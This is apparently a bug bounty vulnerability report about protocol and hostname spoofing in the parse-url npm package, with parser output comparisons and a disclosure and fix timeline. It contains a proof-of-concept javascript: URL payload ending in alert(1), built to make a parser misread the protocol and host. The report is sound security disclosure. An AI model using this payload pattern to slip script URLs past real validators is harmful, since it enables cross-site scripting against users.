protocol spoofing in ionicabizau/parse-url

Valid

Reported on

Mar 4th 2022


Description

I found a vulnerability that incorrectly parses the protocol when using a javascript scheme.

location.href = 'javasript:https://google.com/%0aalert(1)'

First, you can check that the above URL executes the script normally through the above code.

- node.js
❯ node -e 'console.log(require("url").parse("javascript:https://google.com/%0aalert(1)"))'                     
Url {
  protocol: 'javascript:',
  slashes: null,
  auth: null,
  host: null,
  port: null,
  hostname: null,
  hash: null,
  search: null,
  query: null,
  pathname: 'https://google.com/%0aalert(1)',
  path: 'https://google.com/%0aalert(1)',
  href: 'javascript:https://google.com/%0aalert(1)'
}

- Python
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04) 
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse('javascript:https://google.com/%0aalert(1)')
ParseResult(scheme='javascript', netloc='', path='https://google.com/%0aalert(1)', params='', query='', fragment='')
>>> 

I'll give an example with the two famous parsers above. You can see the protocol being parsed into javascript.

Proof of Concept

❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("javascript:https://google.com/%0aalert(1)"))'
{
  protocols: [ 'javascript:https' ],
  protocol: 'javascript:https',
  port: null,
  resource: 'google.com',
  user: '',
  pathname: '/%0aalert(1)',
  hash: '',
  search: '',
  href: 'javascript:https://google.com/%0aalert(1)',
  query: [Object: null prototype] {}
}

On the other hand, you can see parse-url parses the protocol strangely.

We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. 5 months ago
Pocas modified the report
5 months ago
Pocas
5 months ago

Researcher


❯ node -e 'console.log(new URL("javascript:https://google.com/%0aalert(1)"))'
URL {
  href: 'javascript:https://google.com/%0aalert(1)',
  origin: 'null',
  protocol: 'javascript:',
  username: '',
  password: '',
  host: '',
  hostname: '',
  port: '',
  pathname: 'https://google.com/%0aalert(1)',
  search: '',
  searchParams: URLSearchParams {},
  hash: ''
}

The new URL you said parses the JavaScript code correctly in this case. You can see that the character after javascript: is not parsed into hostname. This is normal.

❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("javascript:https://google.com/%0aalert(1)"))'
{
  protocols: [ 'javascript:https' ],
  protocol: 'javascript:https',
  port: null,
  resource: 'google.com',
  user: '',
  pathname: '/%0aalert(1)',
  hash: '',
  search: '',
  href: 'javascript:https://google.com/%0aalert(1)',
  query: [Object: null prototype] {}
}

But url-parse still parses hostname and doesn't parse protocol properly either. Again, characters after javascript: are JavaScript code, so do not analyze them as urls as above, as this may lead to protocol and hostname spoofing. Thanks

Pocas
5 months ago

Researcher


I didn't write it well. This comment has nothing to do with this report. sorry.

We have contacted a member of the ionicabizau/parse-url team and are waiting to hear back 5 months ago
Ionică Bizău (Johnny B.) validated this vulnerability 5 months ago
Pocas has been awarded the disclosure bounty
The fix bounty is now up for grabs
We have sent a fix follow up to the ionicabizau/parse-url team. We will try again in 7 days. 5 months ago
We have sent a second fix follow up to the ionicabizau/parse-url team. We will try again in 10 days. 5 months ago
We have sent a third and final fix follow up to the ionicabizau/parse-url team. This report is now considered stale. 5 months ago
Ionică Bizău (Johnny B.) confirmed that a fix has been merged on 21c72a 2 months ago
Ionică Bizău (Johnny B.) has been awarded the fix bounty
to join this conversation